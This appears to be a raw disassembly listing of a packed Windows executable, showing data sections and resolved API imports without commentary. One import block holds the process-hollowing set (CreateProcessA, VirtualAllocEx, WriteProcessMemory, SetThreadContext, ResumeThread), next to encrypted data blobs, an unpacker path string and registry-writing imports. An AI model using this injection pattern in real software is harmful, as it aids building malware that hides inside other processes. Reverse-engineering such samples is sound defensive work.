dd 2 dup(4001E5E0h), 2 dup(4001E5E8h), 2 dup(4001E5F0h)
dd 2 dup(4001E5F8h), 2 dup(4001E600h), 2 dup(4001E608h)
dd 2 dup(4001E610h), 2 dup(4001E618h), 2 dup(4001E620h)
dd 2 dup(4001E628h), 2 dup(4001E630h), 2 dup(4001E638h)
dd 2 dup(4001E640h), 2 dup(4001E648h), 2 dup(4001E650h)
dd 2 dup(4001E658h), 2 dup(4001E660h), 2 dup(4001E668h)
dd 2 dup(4001E670h), 2 dup(4001E678h), 2 dup(4001E680h)
dd 2 dup(4001E688h), 2 dup(4001E690h), 2 dup(4001E698h)
dd 2 dup(4001E6A0h), 2 dup(4001E6A8h), 2 dup(4001E6B0h)
dd 2 dup(4001E6B8h), 2 dup(4001E6C0h), 2 dup(4001E6C8h)
dd 2 dup(4001E6D0h), 2 dup(4001E6D8h), 2 dup(4001E6E0h)
dd 2 dup(4001E6E8h), 2 dup(4001E6F0h), 2 dup(4001E6F8h)
dd 2 dup(4001E700h), 2 dup(4001E708h), 2 dup(4001E710h)
dd 2 dup(4001E718h), 2 dup(4001E720h), 2 dup(4001E728h)
dd 2 dup(4001E730h), 2 dup(4001E738h), 2 dup(4001E740h)
dd 2 dup(4001E748h), 2 dup(4001E750h), 2 dup(4001E758h)
dd 2 dup(4001E760h), 2 dup(4001E768h), 2 dup(4001E770h)
dd 2 dup(4001E778h), 2 dup(4001E780h), 2 dup(4001E788h)
dd 2 dup(4001E790h), 2 dup(4001E798h), 2 dup(4001E7A0h)
byte_4001E7A8 db 0 ; DATA XREF: sub_40001654+12o
; sub_40001654:loc_4000167Fo ...
align 4
dword_4001E7AC dd 7FF60000h ; sub_40002540:loc_4000266Ao ...
dword_4001E7B0 dd 7FEA0000h ; sub_40001694+46w ...
dd 2 dup(0)
dword_4001E7BC dd 0 ; sub_400022F0+59w ...
byte_4001E7C0 db 0 ; DATA XREF: sub_400022F0+12o
; sub_400022F0:loc_4000231Bo ...
align 4
dword_4001E7C4 dd 0 ; sub_40002BB4+9r ...
dword_4001E7C8 dd 0 ; sub_40004790+4o
dword_4001E7CC dd 12FFB4h ; sub_400044F0+2r
off_4001E7D0 dd offset dword_4001830C ; DATA XREF: sub_40004518+6r
; sub_4000457C+7r ...
dword_4001E7D4 dd 1Bh ; sub_40004518+2Bw ...
off_4001E7D8 dd offset dword_4001A7B4 ; DATA XREF: sub_400045E4+20w
dd 6 dup(0)
byte_4001E7F4 db 0 ; DATA XREF: sub_40006428r
byte_4001E7F5 db 0 ; DATA XREF: sub_400190AC+2Er
align 4
dword_4001E7F8 dd 40000000h ; sub_40006474+16r ...
dword_4001E7FC dd 0 dword_4001E800 dd 0FFFFFFFFh ; .itext:loc_40019098w
dword_4001E804 dd 0 ; sub_40006758+22r ...
dword_4001E808 dd 0A24E58h ; sub_4000BE64+52o ...
byte_4001E80C db 0 ; DATA XREF: sub_40008800+24r
; sub_4000BE64+7Bw
byte_4001E80D db 0 ; DATA XREF: sub_40008800+2Cr
; sub_4000BE64+9Fw
byte_4001E80E db 2Ch ; DATA XREF: sub_40008800+14r
; sub_4000BE64+B2w
byte_4001E80F db 2Eh ; DATA XREF: sub_40008800+Cr
; sub_40008D00+14r ...
byte_4001E810 db 2 ; DATA XREF: sub_4000843E+1F9r
; sub_4000BE64+E9w
byte_4001E811 db 2Fh ; DATA XREF: sub_400096A8:loc_40009D5Br
; sub_400096A8+6C4o ...
align 4
dword_4001E814 dd 0A2C230h ; sub_400096A8+660r ...
dword_4001E818 dd 0A3A858h ; sub_4000BE64+151o ...
byte_4001E81C db 3Ah ; DATA XREF: sub_400096A8:loc_40009D7Er
; sub_400096A8+6E3o ...
align 10h
dword_4001E820 dd 0A24E98h ; sub_4000A1CC+299r ...
dword_4001E824 dd 0A24EA8h ; sub_4000A1CC+2C3r ...
dword_4001E828 dd 0A2C248h ; sub_4000A1CC+24Dr ...
dword_4001E82C dd 0A3A878h ; sub_400096A8+4A7r ...
dword_4001E830 dd 0A24D18h, 0A24D28h, 0A24D38h, 0A24D48h, 0A24D58h, 0A24D78h
; DATA XREF: sub_4000A91C+29o
; sub_4000CC50+9Fo
dd 0A24D88h, 0A24D98h, 0A24DA8h, 0A24DB8h, 0A24DC8h
dword_4001E85C dd 0A24DD8h dword_4001E860 dd 0A2C080h, 0A2C098h, 0A2C0B0h, 0A2C0C8h, 0A24D68h, 0A2C0E0h
; DATA XREF: sub_4000A91C+2Eo
; sub_4000CC50+B4o
dd 0A2C0F8h, 0A2C110h, 0A2C128h, 0A2C140h, 0A2C158h
dword_4001E88C dd 0A2C170h ; sub_400096A8+629r
dword_4001E890 dd 0A24DE8h, 0A24DF8h, 0A24E08h, 0A24E18h, 0A24E28h, 0A24E38h
; DATA XREF: sub_4000A91C+8Ao
; sub_4000CC50+C9o
dword_4001E8A8 dd 0A24E48h ; sub_400096A8+5E3r
dword_4001E8AC dd 0A2C188h, 0A2C1A0h, 0A2C1B8h, 0A2C1D0h, 0A2C1E8h, 0A2C200h
; DATA XREF: sub_4000A91C+8Fo
; sub_4000CC50+DEo
dd 0A2C218h
dword_4001E8C8 dd 409h dword_4001E8CC dd 9 ; sub_4000A170+6r ...
dword_4001E8D0 dd 1 dword_4001E8D4 dd 2C0100h ; sub_4000AA40:loc_4000AA54r ...
dword_4001E8D8 dd 6 dup(0) ; sub_4000CC50+F3o
dword_4001E8F0 dd 0 ; sub_4000AA7C+43w
dword_4001E8F4 dd 0 ; sub_4000A1CC+A6r ...
dd 6 dup(0)
dword_4001E910 dd 0 ; sub_40007E2C+10o ...
dword_4001E914 dd 0 ; sub_40007E2C+47o ...
dword_4001E918 dd 0FFFFFFFFh ; sub_400190AC+11w
dword_4001E91C dd 0A2C048h ; sub_4000B72C+12w ...
dword_4001E920 dd 0A2C060h ; sub_4000B72C+29w ...
byte_4001E924 db 0 ; DATA XREF: sub_4000C230+CBr
; sub_4000C230+F3r ...
align 4
dd 3Fh dup(0)
dword_4001EA24 dd 100h dup(0) dword_4001EE24 dd 100h dup(0) dword_4001F224 dd 0 dword_4001F228 dd 77126AEAh ; .data:off_4001B064o
dword_4001F22C dd 771993C5h dword_4001F230 dd 7713C84Ah dword_4001F234 dd 7713A795h dword_4001F238 dd 7713B747h dword_4001F23C dd 77199F08h dword_4001F240 dd 7713BF93h dword_4001F244 dd 7719ABC6h dword_4001F248 dd 7719AD1Ah dword_4001F24C dd 7713A911h dword_4001F250 dd 7713B999h dword_4001F254 dd 7719A9F4h dword_4001F258 dd 77139F38h dword_4001F25C dd 7714F193h ; .data:off_4001B0B0o
dword_4001F260 dd 7714F33Ch dword_4001F264 dd 7713C5FAh ; .data:off_4001AFF0o
dword_4001F268 dd 7716D9A8h ; .data:off_4001AF3Co
dword_4001F26C dd 77162626h ; .data:off_4001B0A0o
dword_4001F270 dd 77150154h ; .data:off_4001AFC0o
dword_4001F274 dd 7716386Bh ; .data:off_4001AF04o
dword_4001F278 dd 7714521Ah ; .data:off_4001AFC8o
dword_4001F27C dd 771500F2h ; .data:off_4001B058o
dword_4001F280 dd 0FFFFFFFFh dword_4001F284 dd 0Ah, 0 ; sub_40019144+1Ao
dd 80020004h, 0
off_4001F294 dd offset sub_400166E8 ; DATA XREF: sub_40019144+29w
; .data:off_4001B02Co
off_4001F298 dd offset sub_4000DC90 ; DATA XREF: sub_4000E35C+3Ar
; sub_40019144+33w
off_4001F29C dd offset sub_4000DBA0 ; DATA XREF: sub_4000E744+33r
; sub_4000ECE8+2Dr ...
off_4001F2A0 dd offset sub_4000DC90 ; DATA XREF: sub_4000E654+5Dr
; sub_40019144+43w
dword_4001F2A4 dd 0FFFFFFFFh ; sub_40019144+11w
dword_4001F2A8 dd 0 ; sub_40012C6C+38r ...
dword_4001F2AC dd 146F68h, 0FFFFFFFFh, 4 dup(0) ; sub_40012AF4:loc_40012B4Ao ...
dword_4001F2C4 dd 0FFFFFFFFh ; .itext:loc_400191F0w
dword_4001F2C8 dd 0A333FCh ; sub_40013ED4+5Fo ...
dword_4001F2CC dd 48h ; sub_40013E14+1Fr ...
dword_4001F2D0 dd 0FFFFFFFFh ; sub_400191F8+11w
dword_4001F2D4 dd 0A41B78h ; sub_40013E60+6r ...
dword_4001F2D8 dd 0A41B50h ; sub_40013510+20r ...
dword_4001F2DC dd 0 dword_4001F2E0 dd 0A41BA0h ; sub_40013CE4+1Cr ...
dword_4001F2E4 dd 146F90h, 0FFFFFFFFh, 4 dup(0) ; sub_40013E48o
dword_4001F2FC dd 0FFFFFFFFh ; .itext:loc_4001928Cw
dword_4001F300 dd 0FFFFFFFFh ; .itext:loc_40019294w
dword_4001F304 dd 2F0803BAh dword_4001F308 dd 0FFFFFFFFh ; .itext:4001929Eo
dd 60h
dword_4001F310 dd 1B00017h ; .itext:400192C8r
dword_4001F314 dd 1900015h ; .itext:400192D4r
dword_4001F318 dd 18A0021h ; sub_40015918+14r ...
dword_4001F31C dd 10003h dword_4001F320 dd 145BA8h, 0FFFFFFFFh, 4 dup(0) ; .itext:400192AFo
dword_4001F338 dd 145BD0h, 0FFFFFFFFh, 4 dup(0) ; sub_40015358+10o ...
dword_4001F350 dd 0A41BC8h ; sub_40014F8C:loc_40015175r ...
dword_4001F354 dd 0A41BF0h ; sub_400151D0:loc_4001524Br ...
dword_4001F358 dd 0A41C18h ; sub_40015270:loc_40015333r ...
dword_4001F35C dd 0A41C90h ; .itext:40019369w
dword_4001F360 dd 0A41C40h dword_4001F364 dd 0FFFFFFFFh ; .itext:loc_40019398w
byte_4001F368 db 0 ; DATA XREF: sub_40016AB0+19w
align 4
dword_4001F36C dd 0 dword_4001F370 dd 0 ; sub_40016A34+9r ...
byte_4001F374 db 0 ; DATA XREF: sub_40016A34+37w
; sub_40016A34+76w ...
align 4
dword_4001F378 dd 7C8328F7h ; resolved to->KERNEL32.ResumeThread ; sub_40017A1C+2FEr
dword_4001F37C dd 7C862A69h ; resolved to->KERNEL32.SetThreadContext ; sub_40017A1C+2F4r
dword_4001F380 dd 7C809A72h ; resolved to->KERNEL32.VirtualAllocEx ; sub_40017A1C+293r
dword_4001F384 dd 7C8021CCh ; resolved to->KERNEL32.ReadProcessMemory ; sub_40017A1C+277r
dword_4001F388 dd 7C83970Dh ; resolved to->KERNEL32.GetThreadContext ; sub_40017A1C+259r
dword_4001F38C dd 7C802367h ; resolved to->KERNEL32.CreateProcessA ; sub_40017A1C+1F9r ...
dword_4001F390 dd 7C8260C2h ; resolved to->KERNEL32.FreeResourcedword_4001F394 dd 7C80BE89h ; resolved to->KERNEL32.FindResourceAdword_4001F398 dd 7C80BC69h ; resolved to->KERNEL32.SizeofResourcedword_4001F39C dd 7C809FB5h ; resolved to->KERNEL32.LoadResourcedword_4001F3A0 dd 7C80CC97h ; resolved to->KERNEL32.SetHandleCountdword_4001F3A4 dd 7C80ABDEh ; resolved to->KERNEL32.FreeLibrary ; sub_400173FC+29Br
dword_4001F3A8 dd 7C80220Fh ; resolved to->KERNEL32.WriteProcessMemory ; sub_40017A1C+2B0r ...
dword_4001F3AC dd 7C80B4CFh ; resolved to->KERNEL32.GetModuleFileNameA ; sub_40017A1C+66r ...
dword_4001F3B0 dd 7C80ADA0h ; resolved to->KERNEL32.GetProcAddressdword_4001F3B4 dd 7C801A24h ; resolved to->KERNEL32.CreateFileA ; sub_40017D84+45r
dword_4001F3B8 dd 7C810B8Eh ; resolved to->KERNEL32.SetFilePointer ; sub_40017D84+54r ...
dword_4001F3BC dd 7C80180Eh ; resolved to->KERNEL32.ReadFile ; sub_40017D84+67r ...
dword_4001F3C0 dd 7C810A77h ; resolved to->KERNEL32.GetFileSize ; sub_40017D84+F1r
dword_4001F3C4 dd 7C809B47h ; resolved to->KERNEL32.CloseHandle ; sub_40017D84+13Cr ...
dword_4001F3C8 dd 3Fh dup(0) ; sub_40016FD8+58o
dd 0FF000000h
byte_4001F4C8 db 0DBh ; DATA XREF: sub_40016FD8+2Do
; sub_40016FD8+53o ...
db 18h, 32h, 6Fh
dd 6E02588Dh, 28EC98A3h, 566BC1EDh, 0EE01BA07h, 0FD11E19Fh
dd 5CA4E6F8h, 4FAE0FA9h, 45BD431Ah, 2B334B44h, 1CBB8335h
dd 4D97B2DCh, 6DA1B341h, 777E9039h, 84E093D1h, 0FAB7A009h
dd 3CD2169Dh, 0D8D93D5Ah, 0A8F0F678h, 0E127074h, 3A4AD4DEh
dd 0AFAD6424h, 8EFE792Dh, 8753B0D7h, 7B261D2Fh, 0CED63727h
dd 0F5995429h, 7C80AAE5h, 0DACA648h, 4695EC6h, 20CC57B8h
dd 213B1F6Ch, 0C242E2D5h, 0F4237161h, 0E3D338C7h, 82B619A2h
dd 2CB9C452h, 54E1B8Fh, 0FFCF0088h, 75228ADAh, 0CDD5914h
dd 49F90A3Eh, 4CEA7F50h, 47C0086Ah, 2AB48C40h, 0C330100Bh
dd 5D559E36h, 0EBF37A86h, 3492F7A5h, 96130395h, 0BEFC94F1h
dd 0E463735Bh, 0CBBFBC85h, 0C5EFC9CAh, 46517DB1h, 66E92E06h
dd 7289DFB5h, 0A79CE715h, 31676876h, 819A9BF2h, 628B25CDh
dd 0C8FB1ED0h, 913F5F65h, 17AB60E8h
dword_4001F5C8 dd 7FF00010h ; .itext:4001982Dr ...
dword_4001F5CC dd 0 ; .itext:400198A3o ...
dword_4001F5D0 dd 0 ; .itext:400198C2r ...
dword_4001F5D4 dd 42h dup(0) ; .itext:40019907o
dword_4001F6DC dd 0 ; .itext:40019A45r
dword_4001F6E0 dd 1 ; sub_40017F10+17r ...
dword_4001F6E4 dd 4002B378h, 4 dup(0)dword_4001F6F8 dd 53h dup(0) ; .itext:400199E6o ...
aCM_unpackerPac db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: .itext:4001956Eo
; .itext:40019584o ...
align 10h
dd 3Bh dup(0)
dword_4001F94C dd 0 ; .itext:400195CAo ...
dword_4001F950 dd 0A24EB8h ; .itext:40019673o ...
dword_4001F954 dd 0A1DAB0h ; .itext:400196DFo ...
dword_4001F958 dd 7FEA0018h ; .itext:40019713o ...
dword_4001F95C dd 27511h ; .itext:40019707o ...
dword_4001F960 dd 4200h ; .itext:400195ADr
dword_4001F964 dd 10h dup(0) ; .itext:400195D6o
db 0
byte_4001F9A5 db 49h, 5Ah, 4Ah ; DATA XREF: .itext:40019635o
dd 0Ah dup(0)
db 2 dup(0)
word_4001F9D2 dw 0 ; DATA XREF: .itext:40019865o
dd 0Fh dup(0)
db 3 dup(0)
byte_4001FA13 db 5Dh ; DATA XREF: .itext:4001963Fo
dd 574D4126h, 7F515549h, 4C454454h, 77595B4Dh, 0F594862h
dd 58515060h, 17515B5Dh, 534E5C75h, 4F625953h, 266B7569h
dd 527D102Dh, 1E534D51h, 59751815h, 56480258h, 4Ah, 1031h dup(0)
dword_40023B14 dd 0 dd 0
dword_40023B1C dd 0 ; .itext:400195DBr ...
dd 0
dword_40023B24 dd 3, 9 dup(0) dword_40023B4C dd 1Bh ; .itext:4001968Er ...
dword_40023B50 dd 0 ; .itext:40019688r ...
dword_40023B54 dd 3Fh ; .itext:4001969Ar ...
dword_40023B58 dd 0 ; .itext:40019694r ...
byte_40023B5C db 1 ; DATA XREF: .itext:loc_400197E0r
byte_40023B5D db 1 ; DATA XREF: .itext:400197AEr
align 10h
dd 0
dword_40023B64 dd 0 ; .itext:40019630w ...
aCWindowsSyst_0 db 'C:\WINDOWS\system32',0 ; DATA XREF: .itext:40019498o
; .itext:400194D1o ...
dd 3Bh dup(0)
dword_40023C68 dd 0 dword_40023C6C dd 0 dword_40023C70 dd 0 dword_40023C74 dd 0 dword_40023C78 dd 0 ; .itext:40019457r
aCWindowsSystem db 'C:\WINDOWS\system32',0 ; DATA XREF: .itext:40019428o
; .itext:40019437o
dd 6Dh dup(0)
aIfb db '¨f¡',0 ; DATA XREF: .itext:40019432o
; .itext:40019446o
dword_40023E48 dd 27511h ; .itext:40019736r ...
dword_40023E4C dd 55000h ; .itext:4001980Br ...
dword_40023E50 dd 0 ; .itext:400199FFr ...
_bss ends
; Section 5. (virtual address 00024000)
; Virtual size : 00001134 ( 4404.)
; Section size in file : 00001134 ( 4404.)
; Offset to raw data for section: 00024000
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_idata segment para public 'DATA' use32
assume cs:_idata
;org 40024000h
dd 24140h, 2 dup(0)
dd 24678h, 243DCh, 24150h, 2 dup(0)
dd 246C0h, 243ECh, 24160h, 2 dup(0)
dd 24700h, 243FCh, 24178h, 2 dup(0)
dd 24756h, 24414h, 24218h, 2 dup(0)
dd 249F4h, 244B4h, 2422Ch, 2 dup(0)
dd 24A40h, 244C8h, 24254h, 2 dup(0)
dd 24AC4h, 244F0h, 242A4h, 2 dup(0)
dd 24C12h, 24540h, 24368h, 2 dup(0)
dd 24F64h, 24604h, 24388h, 2 dup(0)
dd 24FE6h, 24624h, 24394h, 2 dup(0)
dd 25014h, 24630h, 243A0h, 2 dup(0)
dd 25040h, 2463Ch, 243A8h, 2 dup(0)
dd 25056h, 24644h, 243CCh, 2 dup(0)
dd 250F8h, 24668h, 243D4h, 2 dup(0)
dd 25118h, 24670h, 5 dup(0)
dd 24686h, 24696h, 246ACh, 0
dd 246CEh, 246E2h, 246F2h, 0
dd 2470Ch, 2471Eh, 2472Eh, 2473Ch, 2474Ah, 0
dd 24764h, 2476Eh, 24776h, 24784h, 24794h, 247A4h, 247BEh
dd 247D4h, 247ECh, 24804h, 24814h, 2482Ah, 24840h, 2484Ch
dd 24858h, 2486Ah, 2487Ch, 2488Eh, 248A0h, 248B4h, 248CAh
dd 248DCh, 248ECh, 248FEh, 2490Ch, 2491Eh, 2492Ah, 24938h
dd 24944h, 24960h, 24972h, 24982h, 2498Eh, 2499Ah, 249ACh
dd 249BCh, 249CAh, 249D8h, 249E6h, 0
dd 24A02h, 24A10h, 24A1Eh, 24A2Ch, 0
dd 24A4Ch, 24A58h, 24A66h, 24A74h, 24A80h, 24A94h, 24AA2h
dd 24AAAh, 24AB6h, 0
dd 24ACEh, 24AE0h, 24AF0h, 24AFAh, 24B06h, 24B14h, 24B24h
dd 24B34h, 24B40h, 24B52h, 24B6Ch, 24B7Eh, 24B8Eh, 24BA6h
dd 24BB6h, 24BC2h, 24BD6h, 24BE6h, 24BFCh, 0
dd 24C20h, 24C3Eh, 24C4Ah, 24C54h, 24C6Ah, 24C7Ah, 24C82h
dd 24C94h, 24CA6h, 24CB2h, 24CC0h, 24CCCh, 24CE2h, 24CECh
dd 24CFCh, 24D0Ch, 24D1Ch, 24D34h, 24D50h, 24D60h, 24D70h
dd 24D82h, 24D92h, 24DA8h, 24DB8h, 24DCAh, 24DDEh, 24DF4h
dd 24E06h, 24E16h, 24E26h, 24E40h, 24E54h, 24E66h, 24E7Ch
dd 24E88h, 24E98h, 24EA6h, 24EB8h, 24EC8h, 24ED6h, 24EEAh
dd 24F02h, 24F1Ah, 24F28h, 24F38h, 24F44h, 24F56h, 0
dd 24F72h, 24F84h, 24F98h, 24FA8h, 24FB6h, 24FC8h, 24FD6h
dd 0
dd 24FF4h, 25004h, 0
dd 2501Eh, 25030h, 0
dd 2504Eh, 0
dd 25064h, 2507Ah, 25090h, 250A6h, 250B8h, 250CCh, 250DAh
dd 250EAh, 0
dd 25102h, 0
dd 25124h, 0
dword_400243DC dd 77124880h dword_400243E0 dd 771544ADh dword_400243E4 dd 77124BA7h dd 0
dword_400243EC dd 77DD7883h ; resolved to->ADVAPI32.RegQueryValueExAdword_400243F0 dd 77DD761Bh ; resolved to->ADVAPI32.RegOpenKeyExAdword_400243F4 dd 77DD6BF0h ; resolved to->ADVAPI32.RegCloseKey dd 0
dword_400243FC dd 7E43119Bh ; resolved to->USER32.GetKeyboardTypedword_40024400 dd 7E41DAEAh ; resolved to->USER32.DestroyWindowdword_40024404 dd 7E42DFA8h ; resolved to->USER32.LoadStringAdword_40024408 dd 7E45058Ah ; resolved to->USER32.MessageBoxAdword_4002440C dd 7E42DF50h ; resolved to->USER32.CharNextA dd 0
dword_40024414 dd 7C809915h ; resolved to->KERNEL32.GetACPdword_40024418 dd 7C802442h ; resolved to->KERNEL32.Sleepdword_4002441C dd 7C809AE4h ; resolved to->KERNEL32.VirtualFreedword_40024420 dd 7C809A51h ; resolved to->KERNEL32.VirtualAllocdword_40024424 dd 7C80929Ch ; resolved to->KERNEL32.GetTickCountdword_40024428 dd 7C80A427h ; resolved to->KERNEL32.QueryPerformanceCounterdword_4002442C dd 7C809728h ; resolved to->KERNEL32.GetCurrentThreadIddword_40024430 dd 7C80977Ah ; resolved to->KERNEL32.InterlockedDecrementdword_40024434 dd 7C809766h ; resolved to->KERNEL32.InterlockedIncrementdword_40024438 dd 7C80B9D1h ; resolved to->KERNEL32.VirtualQuerydword_4002443C dd 7C80A0D4h ; resolved to->KERNEL32.WideCharToMultiBytedword_40024440 dd 7C809BF8h ; resolved to->KERNEL32.MultiByteToWideChardword_40024444 dd 7C80BDB6h ; resolved to->KERNEL32.lstrlenAdword_40024448 dd 7C810111h ; resolved to->KERNEL32.lstrcpynAdword_4002444C dd 7C801D4Fh ; resolved to->KERNEL32.LoadLibraryExAdword_40024450 dd 7C80A415h ; resolved to->KERNEL32.GetThreadLocaledword_40024454 dd 7C801EEEh ; resolved to->KERNEL32.GetStartupInfoAdword_40024458 dd 7C80ADA0h ; resolved to->KERNEL32.GetProcAddressdword_4002445C dd 7C80B6A1h ; resolved to->KERNEL32.GetModuleHandleAdword_40024460 dd 7C80B4CFh ; resolved to->KERNEL32.GetModuleFileNameAdword_40024464 dd 7C80D262h ; resolved to->KERNEL32.GetLocaleInfoAdword_40024468 dd 7C910331h ; resolved to->NTDLL.RtlGetLastWin32Errordword_4002446C dd 7C812F1Dh ; resolved to->KERNEL32.GetCommandLineAdword_40024470 dd 7C80ABDEh ; resolved to->KERNEL32.FreeLibrarydword_40024474 dd 7C8137D9h ; resolved to->KERNEL32.FindFirstFileAdword_40024478 dd 7C80EDD7h ; resolved to->KERNEL32.FindClosedword_4002447C dd 7C81CDDAh ; resolved to->KERNEL32.ExitProcessdword_40024480 dd 7C810D87h ; resolved to->KERNEL32.WriteFile ; .text:loc_400033E4r
dword_40024484 dd 7C862E2Ah ; resolved to->KERNEL32.UnhandledExceptionFilterdword_40024488 dd 7C810B8Eh ; resolved to->KERNEL32.SetFilePointerdword_4002448C dd 7C832044h ; resolved to->KERNEL32.SetEndOfFiledword_40024490 dd 7C937A40h ; resolved to->NTDLL.RtlUnwinddword_40024494 dd 7C80180Eh ; resolved to->KERNEL32.ReadFiledword_40024498 dd 7C812A09h ; resolved to->KERNEL32.RaiseExceptiondword_4002449C dd 7C812F39h ; resolved to->KERNEL32.GetStdHandledword_400244A0 dd 7C810A77h ; resolved to->KERNEL32.GetFileSizedword_400244A4 dd 7C810E51h ; resolved to->KERNEL32.GetFileTypedword_400244A8 dd 7C801A24h ; resolved to->KERNEL32.CreateFileAdword_400244AC dd 7C809B47h ; resolved to->KERNEL32.CloseHandle dd 0
dword_400244B4 dd 7C809BC5h ; resolved to->KERNEL32.TlsSetValuedword_400244B8 dd 7C809740h ; resolved to->KERNEL32.TlsGetValuedword_400244BC dd 7C80998Dh ; resolved to->KERNEL32.LocalAllocdword_400244C0 dd 7C80B6A1h ; resolved to->KERNEL32.GetModuleHandleA align 8
dword_400244C8 dd 7E41869Dh ; resolved to->USER32.ReleaseDCdword_400244CC dd 7E45058Ah ; resolved to->USER32.MessageBoxAdword_400244D0 dd 7E42DFA8h ; resolved to->USER32.LoadStringA dd 7E4208CEh
dword_400244D8 dd 7E418F9Ch ; resolved to->USER32.GetSystemMetricsdword_400244DC dd 7E418E78h ; resolved to->USER32.GetSysColordword_400244E0 dd 7E4186C7h ; resolved to->USER32.GetDCdword_400244E4 dd 7E42DF50h ; resolved to->USER32.CharNextAdword_400244E8 dd 7E41AEF1h ; resolved to->USER32.CharToOemA align 10h
dword_400244F0 dd 77F1D85Fh ; resolved to->GDI32.UnrealizeObjectdword_400244F4 dd 77F15D87h ; resolved to->GDI32.SetTextColordword_400244F8 dd 77F1D8F8h ; resolved to->GDI32.SetROP2dword_400244FC dd 77F15EEBh ; resolved to->GDI32.SetBkModedword_40024500 dd 77F15E39h ; resolved to->GDI32.SetBkColordword_40024504 dd 77F1832Ah ; resolved to->GDI32.SelectPalettedword_40024508 dd 77F15B80h ; resolved to->GDI32.SelectObjectdword_4002450C dd 77F1ADC3h ; resolved to->GDI32.MoveToExdword_40024510 dd 77F1DC1Fh ; resolved to->GDI32.GetTextMetricsAdword_40024514 dd 77F1B2F1h ; resolved to->GDI32.GetSystemPaletteEntries dd 77F161D1h
dword_4002451C dd 77F15A7Ah ; resolved to->GDI32.GetDeviceCapsdword_40024520 dd 77F2EAEBh ; resolved to->GDI32.GetCurrentPositionExdword_40024524 dd 77F16C0Ah ; resolved to->GDI32.DeleteObjectdword_40024528 dd 77F16E6Fh ; resolved to->GDI32.DeleteDCdword_4002452C dd 77F24077h ; resolved to->GDI32.CreatePenIndirectdword_40024530 dd 77F1B1F1h ; resolved to->GDI32.CreatePalettedword_40024534 dd 77F1E2E3h ; resolved to->GDI32.CreateFontIndirectAdword_40024538 dd 77F1D991h ; resolved to->GDI32.CreateBrushIndirect align 10h
dword_40024540 dd 7C835D54h ; resolved to->KERNEL32.WritePrivateProfileStringAdword_40024544 dd 7C810D87h ; resolved to->KERNEL32.WriteFiledword_40024548 dd 7C86136Dh ; resolved to->KERNEL32.WinExecdword_4002454C dd 7C802520h ; resolved to->KERNEL32.WaitForSingleObjectdword_40024550 dd 7C80B9D1h ; resolved to->KERNEL32.VirtualQuerydword_40024554 dd 7C802442h ; resolved to->KERNEL32.Sleepdword_40024558 dd 7C80BC69h ; resolved to->KERNEL32.SizeofResourcedword_4002455C dd 7C810B8Eh ; resolved to->KERNEL32.SetFilePointerdword_40024560 dd 7C80A017h ; resolved to->KERNEL32.SetEventdword_40024564 dd 7C80A03Bh ; resolved to->KERNEL32.ResetEventdword_40024568 dd 7C80180Eh ; resolved to->KERNEL32.ReadFiledword_4002456C dd 7C809BF8h ; resolved to->KERNEL32.MultiByteToWideChardword_40024570 dd 7C8097C6h ; resolved to->KERNEL32.MulDivdword_40024574 dd 7C80CC97h ; resolved to->KERNEL32.SetHandleCountdword_40024578 dd 7C809FB5h ; resolved to->KERNEL32.LoadResourcedword_4002457C dd 7C801D77h ; resolved to->KERNEL32.LoadLibraryAdword_40024580 dd 7C9010EDh ; resolved to->NTDLL.RtlLeaveCriticalSectiondword_40024584 dd 7C809EF1h ; resolved to->KERNEL32.InitializeCriticalSectiondword_40024588 dd 7C812ADEh ; resolved to->KERNEL32.GetVersionExAdword_4002458C dd 7C80929Ch ; resolved to->KERNEL32.GetTickCountdword_40024590 dd 7C80A415h ; resolved to->KERNEL32.GetThreadLocaledword_40024594 dd 7C835DCAh ; resolved to->KERNEL32.GetTempPathAdword_40024598 dd 7C814EEAh ; resolved to->KERNEL32.GetSystemDirectoryAdword_4002459C dd 7C812F39h ; resolved to->KERNEL32.GetStdHandledword_400245A0 dd 7C80ADA0h ; resolved to->KERNEL32.GetProcAddressdword_400245A4 dd 7C80B6A1h ; resolved to->KERNEL32.GetModuleHandleAdword_400245A8 dd 7C80B4CFh ; resolved to->KERNEL32.GetModuleFileNameAdword_400245AC dd 7C80D262h ; resolved to->KERNEL32.GetLocaleInfoAdword_400245B0 dd 7C80A7D4h ; resolved to->KERNEL32.GetLocalTimedword_400245B4 dd 7C910331h ; resolved to->NTDLL.RtlGetLastWin32Errordword_400245B8 dd 7C814AF2h ; resolved to->KERNEL32.GetEnvironmentVariableAdword_400245BC dd 7C8302EDh ; resolved to->KERNEL32.GetDiskFreeSpaceAdword_400245C0 dd 7C8361EEh ; resolved to->KERNEL32.GetDateFormatAdword_400245C4 dd 7C809728h ; resolved to->KERNEL32.GetCurrentThreadIddword_400245C8 dd 7C812E76h ; resolved to->KERNEL32.GetCPInfodword_400245CC dd 7C8260C2h ; resolved to->KERNEL32.FreeResourcedword_400245D0 dd 7C80ABDEh ; resolved to->KERNEL32.FreeLibrarydword_400245D4 dd 7C82F7A0h ; resolved to->KERNEL32.FormatMessageAdword_400245D8 dd 7C80BE89h ; resolved to->KERNEL32.FindResourceAdword_400245DC dd 7C81CDDAh ; resolved to->KERNEL32.ExitProcessdword_400245E0 dd 7C838211h ; resolved to->KERNEL32.EnumCalendarInfoAdword_400245E4 dd 7C901005h ; resolved to->NTDLL.RtlEnterCriticalSectiondword_400245E8 dd 7C91188Ah ; resolved to->NTDLL.RtlDeleteCriticalSectiondword_400245EC dd 7C801A24h ; resolved to->KERNEL32.CreateFileAdword_400245F0 dd 7C8308ADh ; resolved to->KERNEL32.CreateEventAdword_400245F4 dd 7C8286EEh ; resolved to->KERNEL32.CopyFileAdword_400245F8 dd 7C80D077h ; resolved to->KERNEL32.CompareStringAdword_400245FC dd 7C809B47h ; resolved to->KERNEL32.CloseHandle dd 0
dword_40024604 dd 77DDEBE7h ; resolved to->ADVAPI32.RegSetValueExAdword_40024608 dd 77DD7883h ; resolved to->ADVAPI32.RegQueryValueExAdword_4002460C dd 77DD761Bh ; resolved to->ADVAPI32.RegOpenKeyExAdword_40024610 dd 77DEB908h ; resolved to->ADVAPI32.RegFlushKeydword_40024614 dd 77DDEAF4h ; resolved to->ADVAPI32.RegCreateKeyExAdword_40024618 dd 77DD6BF0h ; resolved to->ADVAPI32.RegCloseKeydword_4002461C dd 77DFD4C9h ; resolved to->ADVAPI32.GetUserNameA dd 0
dword_40024624 dd 7712A63Fh dword_40024628 dd 77124880h align 10h
